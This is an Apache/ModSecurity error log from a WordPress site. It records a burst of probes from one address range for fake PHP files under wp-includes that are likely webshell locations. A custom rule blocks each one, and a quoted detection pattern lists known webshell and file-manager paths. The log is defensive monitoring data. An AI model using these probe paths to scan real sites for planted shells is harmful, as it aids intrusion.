[Tue Feb 10 19:21:30.864235 2026] [:error] [pid 47830:tid 47855] [client 194.5.82.16:48311] [client 194.5.82.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/Proxy/HTTP.term.php"] [unique_id "aYsUukco45BZs8e301BqbwAAAAk"]
[Tue Feb 10 19:21:31.216953 2026] [proxy_fcgi:error] [pid 30054:tid 30062] [client 194.5.82.41:28753] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:31.359047 2026] [proxy_fcgi:error] [pid 30054:tid 30076] [client 194.5.82.41:28753] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:31.601576 2026] [proxy_fcgi:error] [pid 30054:tid 30067] [client 194.5.82.41:28753] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:31.758800 2026] [:error] [pid 30054:tid 30072] [client 194.5.82.41:28753] [client 194.5.82.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/utils.php"] [unique_id "aYsUu2ecgOOXCu-GgYUszQAAARA"]
[Tue Feb 10 19:21:32.279264 2026] [proxy_fcgi:error] [pid 47837:tid 47904] [client 194.5.82.53:31527] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:32.668041 2026] [proxy_fcgi:error] [pid 47837:tid 47920] [client 194.5.82.53:31527] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:32.897587 2026] [proxy_fcgi:error] [pid 47837:tid 47922] [client 194.5.82.53:31527] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:33.055106 2026] [proxy_fcgi:error] [pid 47837:tid 47915] [client 194.5.82.53:31527] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:33.291252 2026] [:error] [pid 47837:tid 47914] [client 194.5.82.53:31527] [client 194.5.82.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/db-update.php"] [unique_id "aYsUvXFY8KYFPX79Z4nXAgAAAI4"]
[Tue Feb 10 19:21:33.700570 2026] [proxy_fcgi:error] [pid 47831:tid 47889] [client 194.5.82.21:53669] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:33.994421 2026] [proxy_fcgi:error] [pid 47831:tid 47879] [client 194.5.82.21:53669] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:34.112802 2026] [proxy_fcgi:error] [pid 47831:tid 47892] [client 194.5.82.21:53669] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:34.499511 2026] [proxy_fcgi:error] [pid 47831:tid 47887] [client 194.5.82.21:53669] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:34.649736 2026] [:error] [pid 47831:tid 47890] [client 194.5.82.21:53669] [client 194.5.82.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/ini_db_model.php"] [unique_id "aYsUvidxbZYarWVkiABk6wAAAFE"]
[Tue Feb 10 19:21:34.891098 2026] [proxy_fcgi:error] [pid 59407:tid 59427] [client 194.5.82.11:55265] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:35.279425 2026] [proxy_fcgi:error] [pid 59407:tid 59431] [client 194.5.82.11:55265] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:35.504250 2026] [proxy_fcgi:error] [pid 59407:tid 59430] [client 194.5.82.11:55265] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:35.890955 2026] [proxy_fcgi:error] [pid 59407:tid 59415] [client 194.5.82.11:55265] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:36.069726 2026] [proxy_fcgi:error] [pid 59407:tid 59429] [client 194.5.82.11:55265] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:36.179462 2026] [:error] [pid 59407:tid 59426] [client 194.5.82.11:55265] [client 194.5.82.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/sx.php"] [unique_id "aYsUwGLlhBXE3qmX-JkUQAAAAVE"]
[Tue Feb 10 19:21:36.413632 2026] [proxy_fcgi:error] [pid 7704:tid 7713] [client 194.5.82.14:58111] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:36.571427 2026] [proxy_fcgi:error] [pid 7704:tid 7718] [client 194.5.82.14:58111] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:36.799163 2026] [proxy_fcgi:error] [pid 7704:tid 7707] [client 194.5.82.14:58111] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:37.175004 2026] [proxy_fcgi:error] [pid 7704:tid 7716] [client 194.5.82.14:58111] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:37.678056 2026] [proxy_fcgi:error] [pid 7704:tid 7725] [client 194.5.82.14:58111] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:38.057650 2026] [proxy_fcgi:error] [pid 7704:tid 7728] [client 194.5.82.14:58111] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:38.291434 2026] [proxy_fcgi:error] [pid 7704:tid 7712] [client 194.5.82.14:58111] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:38.683184 2026] [proxy_fcgi:error] [pid 7704:tid 7715] [client 194.5.82.14:58111] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:38.797757 2026] [proxy_fcgi:error] [pid 7704:tid 7713] [client 194.5.82.14:58111] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:39.408731 2026] [proxy_fcgi:error] [pid 7704:tid 7727] [client 194.5.82.14:58111] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:39.564513 2026] [proxy_fcgi:error] [pid 7704:tid 7731] [client 194.5.82.14:58111] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:40.055080 2026] [proxy_fcgi:error] [pid 7704:tid 7709] [client 194.5.82.14:58111] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:40.557752 2026] [proxy_fcgi:error] [pid 7704:tid 7721] [client 194.5.82.14:58111] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:40.810313 2026] [proxy_fcgi:error] [pid 7704:tid 7730] [client 194.5.82.14:58111] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:40.957144 2026] [proxy_fcgi:error] [pid 7704:tid 7712] [client 194.5.82.14:58111] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:41.082475 2026] [proxy_fcgi:error] [pid 7704:tid 7723] [client 194.5.82.14:58111] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:41.195024 2026] [proxy_fcgi:error] [pid 7704:tid 7729] [client 194.5.82.14:58111] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:41.308227 2026] [proxy_fcgi:error] [pid 7704:tid 7715] [client 194.5.82.14:58111] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:41.704964 2026] [proxy_fcgi:error] [pid 7704:tid 7707] [client 194.5.82.14:58111] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:41.975490 2026] [proxy_fcgi:error] [pid 7704:tid 7719] [client 194.5.82.14:58111] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:42.179088 2026] [proxy_fcgi:error] [pid 7704:tid 7731] [client 194.5.82.14:58111] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:42.291967 2026] [proxy_fcgi:error] [pid 7704:tid 7716] [client 194.5.82.14:58111] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:42.560051 2026] [:error] [pid 7704:tid 7711] [client 194.5.82.14:58111] [client 194.5.82.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/custom-classname.php"] [unique_id "aYsUxv0EcqgVBUs6CW0NFQAAAcQ"]
[Tue Feb 10 19:21:43.882995 2026] [proxy_fcgi:error] [pid 59407:tid 59428] [client 194.5.82.43:31089] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:44.008633 2026] [proxy_fcgi:error] [pid 59407:tid 59432] [client 194.5.82.43:31089] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:44.406360 2026] [proxy_fcgi:error] [pid 59407:tid 59426] [client 194.5.82.43:31089] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:44.563711 2026] [proxy_fcgi:error] [pid 59407:tid 59411] [client 194.5.82.43:31089] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:44.674659 2026] [:error] [pid 59407:tid 59414] [client 194.5.82.43:31089] [client 194.5.82.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aYsUyGLlhBXE3qmX-JkUTwAAAUU"]
[Tue Feb 10 19:21:46.102841 2026] [:error] [pid 59407:tid 59410] [client 194.5.82.30:65251] [client 194.5.82.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/db_model.php"] [unique_id "aYsUymLlhBXE3qmX-JkUVAAAAUE"]
[Tue Feb 10 19:21:46.329329 2026] [proxy_fcgi:error] [pid 47830:tid 47849] [client 194.5.82.17:51293] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:46.467721 2026] [proxy_fcgi:error] [pid 47830:tid 47847] [client 194.5.82.17:51293] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:46.580221 2026] [proxy_fcgi:error] [pid 47830:tid 47862] [client 194.5.82.17:51293] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:46.689075 2026] [:error] [pid 47830:tid 47857] [client 194.5.82.17:51293] [client 194.5.82.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aYsUykco45BZs8e301BqiQAAAAs"]
[Tue Feb 10 19:21:47.056618 2026] [proxy_fcgi:error] [pid 47831:tid 47895] [client 194.5.82.13:32321] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:47.566717 2026] [proxy_fcgi:error] [pid 47831:tid 47880] [client 194.5.82.13:32321] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:49.345663 2026] [:error] [pid 47831:tid 47876] [client 194.5.82.13:32321] [client 194.5.82.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aYsUzSdxbZYarWVkiABlBwAAAEM"]
[Tue Feb 10 19:21:49.709215 2026] [proxy_fcgi:error] [pid 59407:tid 59426] [client 194.5.82.10:23093] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:49.974351 2026] [proxy_fcgi:error] [pid 59407:tid 59411] [client 194.5.82.10:23093] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:50.091666 2026] [proxy_fcgi:error] [pid 59407:tid 59413] [client 194.5.82.10:23093] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:50.366332 2026] [:error] [pid 59407:tid 59427] [client 194.5.82.10:23093] [client 194.5.82.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/Text/admin.php"] [unique_id "aYsUzmLlhBXE3qmX-JkUYQAAAVI"]
[Tue Feb 10 19:21:50.598165 2026] [:error] [pid 47830:tid 47870] [client 194.5.82.50:50733] [client 194.5.82.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/wordpress/images/about.php"] [unique_id "aYsUzkco45BZs8e301BqiwAAABg"]
[Tue Feb 10 19:21:50.876067 2026] [proxy_fcgi:error] [pid 47830:tid 47855] [client 194.5.82.37:53809] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:53.086149 2026] [proxy_fcgi:error] [pid 47830:tid 47845] [client 194.5.82.37:53809] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:53.201634 2026] [proxy_fcgi:error] [pid 47830:tid 47849] [client 194.5.82.37:53809] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:53.357746 2026] [proxy_fcgi:error] [pid 47830:tid 47847] [client 194.5.82.37:53809] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:53.482568 2026] [proxy_fcgi:error] [pid 47830:tid 47857] [client 194.5.82.37:53809] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:53.717877 2026] [proxy_fcgi:error] [pid 47830:tid 47852] [client 194.5.82.37:53809] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:53.980699 2026] [proxy_fcgi:error] [pid 47830:tid 47858] [client 194.5.82.37:53809] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:54.093668 2026] [proxy_fcgi:error] [pid 47830:tid 47866] [client 194.5.82.37:53809] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:54.372445 2026] [proxy_fcgi:error] [pid 47830:tid 47863] [client 194.5.82.37:53809] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:54.505480 2026] [:error] [pid 47830:tid 47864] [client 194.5.82.37:53809] [client 194.5.82.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/src/Hooks.php"] [unique_id "aYsU0kco45BZs8e301BqngAAABI"]
[Tue Feb 10 19:21:55.055084 2026] [proxy_fcgi:error] [pid 7704:tid 7731] [client 194.5.82.47:39969] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:55.164523 2026] [:error] [pid 7704:tid 7716] [client 194.5.82.47:39969] [client 194.5.82.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aYsU0_0EcqgVBUs6CW0NIQAAAck"]
[Tue Feb 10 19:21:55.390325 2026] [proxy_fcgi:error] [pid 30054:tid 30066] [client 194.5.82.11:20239] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:55.505619 2026] [proxy_fcgi:error] [pid 30054:tid 30065] [client 194.5.82.11:20239] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:55.892254 2026] [:error] [pid 30054:tid 30070] [client 194.5.82.11:20239] [client 194.5.82.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aYsU02ecgOOXCu-GgYUs4wAAAQ4"]
[Tue Feb 10 19:21:56.182588 2026] [proxy_fcgi:error] [pid 7704:tid 7726] [client 194.5.82.52:29473] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:56.293390 2026] [:error] [pid 7704:tid 7708] [client 194.5.82.52:29473] [client 194.5.82.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aYsU1P0EcqgVBUs6CW0NJAAAAcE"]
[Tue Feb 10 19:21:56.603590 2026] [proxy_fcgi:error] [pid 47831:tid 47891] [client 194.5.82.37:23797] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:56.757288 2026] [proxy_fcgi:error] [pid 47831:tid 47883] [client 194.5.82.37:23797] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:56.874904 2026] [proxy_fcgi:error] [pid 47831:tid 47875] [client 194.5.82.37:23797] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:58.799228 2026] [proxy_fcgi:error] [pid 47831:tid 47881] [client 194.5.82.37:23797] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:59.079560 2026] [proxy_fcgi:error] [pid 47831:tid 47873] [client 194.5.82.37:23797] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:59.193693 2026] [proxy_fcgi:error] [pid 47831:tid 47887] [client 194.5.82.37:23797] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:21:59.303301 2026] [:error] [pid 47831:tid 47878] [client 194.5.82.37:23797] [client 194.5.82.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/db_model.php"] [unique_id "aYsU1ydxbZYarWVkiABlIQAAAEU"]
[Tue Feb 10 19:21:59.978374 2026] [proxy_fcgi:error] [pid 47937:tid 47960] [client 194.5.82.27:21387] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:01.611962 2026] [proxy_fcgi:error] [pid 47937:tid 47943] [client 194.5.82.27:21387] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:01.901973 2026] [proxy_fcgi:error] [pid 47937:tid 47939] [client 194.5.82.27:21387] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:02.173343 2026] [:error] [pid 47937:tid 47949] [client 194.5.82.27:21387] [client 194.5.82.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/plugins.php"] [unique_id "aYsU2spqXpC2CvJ3fOOh4gAAAMo"]
[Tue Feb 10 19:22:02.799269 2026] [proxy_fcgi:error] [pid 47830:tid 47866] [client 194.5.82.53:56457] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:02.912060 2026] [proxy_fcgi:error] [pid 47830:tid 47859] [client 194.5.82.53:56457] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:03.097034 2026] [:error] [pid 47830:tid 47865] [client 194.5.82.53:56457] [client 194.5.82.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "aYsU20co45BZs8e301BqrQAAABM"]
[Tue Feb 10 19:22:03.361998 2026] [proxy_fcgi:error] [pid 47831:tid 47875] [client 194.5.82.47:37119] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:03.881939 2026] [proxy_fcgi:error] [pid 47831:tid 47873] [client 194.5.82.47:37119] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:04.007015 2026] [proxy_fcgi:error] [pid 47831:tid 47887] [client 194.5.82.47:37119] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:04.282358 2026] [proxy_fcgi:error] [pid 47831:tid 47882] [client 194.5.82.47:37119] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:04.552438 2026] [proxy_fcgi:error] [pid 47831:tid 47874] [client 194.5.82.47:37119] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:04.683108 2026] [proxy_fcgi:error] [pid 47831:tid 47877] [client 194.5.82.47:37119] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:04.817322 2026] [proxy_fcgi:error] [pid 47831:tid 47893] [client 194.5.82.47:37119] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:05.090618 2026] [proxy_fcgi:error] [pid 47831:tid 47875] [client 194.5.82.47:37119] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:05.485050 2026] [:error] [pid 47831:tid 47886] [client 194.5.82.47:37119] [client 194.5.82.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/autoload_classmap.php"] [unique_id "aYsU3SdxbZYarWVkiABlPgAAAE0"]
[Tue Feb 10 19:22:05.720723 2026] [proxy_fcgi:error] [pid 47830:tid 47857] [client 194.5.82.28:32441] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:05.860978 2026] [proxy_fcgi:error] [pid 47830:tid 47848] [client 194.5.82.28:32441] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:05.972522 2026] [proxy_fcgi:error] [pid 47830:tid 47852] [client 194.5.82.28:32441] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:06.083737 2026] [:error] [pid 47830:tid 47862] [client 194.5.82.28:32441] [client 194.5.82.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/chosen.php"] [unique_id "aYsU3kco45BZs8e301BqtAAAABA"]
[Tue Feb 10 19:22:06.308242 2026] [proxy_fcgi:error] [pid 47831:tid 47896] [client 194.5.82.28:33077] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:06.455237 2026] [proxy_fcgi:error] [pid 47831:tid 47882] [client 194.5.82.28:33077] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:06.569725 2026] [proxy_fcgi:error] [pid 47831:tid 47876] [client 194.5.82.28:33077] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:06.701345 2026] [:error] [pid 47831:tid 47895] [client 194.5.82.28:33077] [client 194.5.82.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/tag-cloud/about.php"] [unique_id "aYsU3idxbZYarWVkiABlRwAAAFY"]
[Tue Feb 10 19:22:06.979332 2026] [:error] [pid 47830:tid 47861] [client 194.5.82.12:50075] [client 194.5.82.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/bru.php"] [unique_id "aYsU3kco45BZs8e301BqtgAAAA8"]
[Tue Feb 10 19:22:07.200271 2026] [proxy_fcgi:error] [pid 59544:tid 59555] [client 194.5.82.51:39359] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:07.314652 2026] [proxy_fcgi:error] [pid 59544:tid 59553] [client 194.5.82.51:39359] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:07.457806 2026] [proxy_fcgi:error] [pid 59544:tid 59561] [client 194.5.82.51:39359] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:07.578066 2026] [proxy_fcgi:error] [pid 59544:tid 59567] [client 194.5.82.51:39359] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:07.690717 2026] [proxy_fcgi:error] [pid 59544:tid 59563] [client 194.5.82.51:39359] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:08.303180 2026] [proxy_fcgi:error] [pid 59544:tid 59556] [client 194.5.82.51:39359] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:08.570342 2026] [proxy_fcgi:error] [pid 59544:tid 59570] [client 194.5.82.51:39359] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:08.853847 2026] [proxy_fcgi:error] [pid 59544:tid 59552] [client 194.5.82.51:39359] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:09.196884 2026] [proxy_fcgi:error] [pid 59544:tid 59560] [client 194.5.82.51:39359] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:09.464920 2026] [proxy_fcgi:error] [pid 59544:tid 59562] [client 194.5.82.51:39359] AH01071: Got error 'Primary script unknown'
[Tue Feb 10 19:22:09.577092 2026] [:error] [pid 59544:tid 59559] [client 194.5.82.51:39359] [client 194.5.82.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aYsU4aZySR9mFY4BainogQAAAYs"]
